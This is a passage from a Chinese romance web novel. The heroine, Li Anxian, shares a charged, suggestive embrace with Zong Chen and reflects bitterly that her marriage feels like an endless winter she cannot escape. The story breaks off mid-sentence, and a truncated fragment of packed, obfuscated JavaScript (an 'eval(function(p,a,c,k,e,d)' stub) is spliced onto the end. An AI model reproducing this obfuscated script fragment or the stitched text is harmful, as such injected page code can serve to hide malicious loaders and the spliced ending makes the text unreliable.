栗安娴只感到一阵天旋地转,魂定时已经跨坐在他身上,皮肤接触,感受到他的温度,他是按着她的,紧密的挤压式贴合,触感更明显,他是经常有这样做,还要叫她配合,给他回应,似吻,让她难为情到极致,他还要在他耳边呵着气描述。
空点温度打得低,空气是冷凉的,栗安娴脸却是刹那间热烘烘的,由内而外散发的热。
这样的接触,是让她条件反射一样轻易想起某一个久远的夜晚,她就是这么跌了一下,然后一切都失控,她跌入深渊,招惹了那里不该招惹的存在,从此,死无葬身之地,一切挣扎都是负隅顽抗。
她思绪还纷乱着,后脑陡然受力,被掌控,耳边听到他说“继续”,她还没反应过来是继续什么,呼吸再次被他攫取,他总是这样,一团火焰一样,让她猝不及防,强势拽着她一起焚燃,让她来不及思考,来不及反应,来不及伤怀。
他就是这样强势地把她从温煦的春天拽到赫赫炎炎的夏天。
盛夏终究会过去,热烈终究退去,她被残忍地丢到凋零的秋天,囚困在寒寂的冬天,再也没有下一个春天。
只期待明天,期待明天是晴朗天气,赐予短暂温暖。
她的婚姻是坟墓,是一整个无穷无尽的冬天,偶尔有晴天,有时短,有时长,可终究是冬天,大概是冬天天寒地冻,所以会更贪恋温暖,所以才走不出来。
栗安娴眨了眨眼,一定得不停地告诫自己,警戒自己,才不会甘心沉沦,情绪是很脆弱的存在,它惯于享受一晌贪欢,耽溺镜花水月,最喜得过且过、自我麻痹、醉生梦死。
无非饮鸩止渴,早晚死在某个雪夜。
宗忱念念不舍地放开栗安娴:“我抱你过去?”嗓音沉沉,口吻狎昵,尾调上扬。
栗安娴冷静着先说了不要,撑起来,看到某人那副姿态懒散的样子,横他:“叫厨房给我准备午餐,送上来。”
“已经让他们准备。”宗忱追问,“真不要?”
话音未落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toSt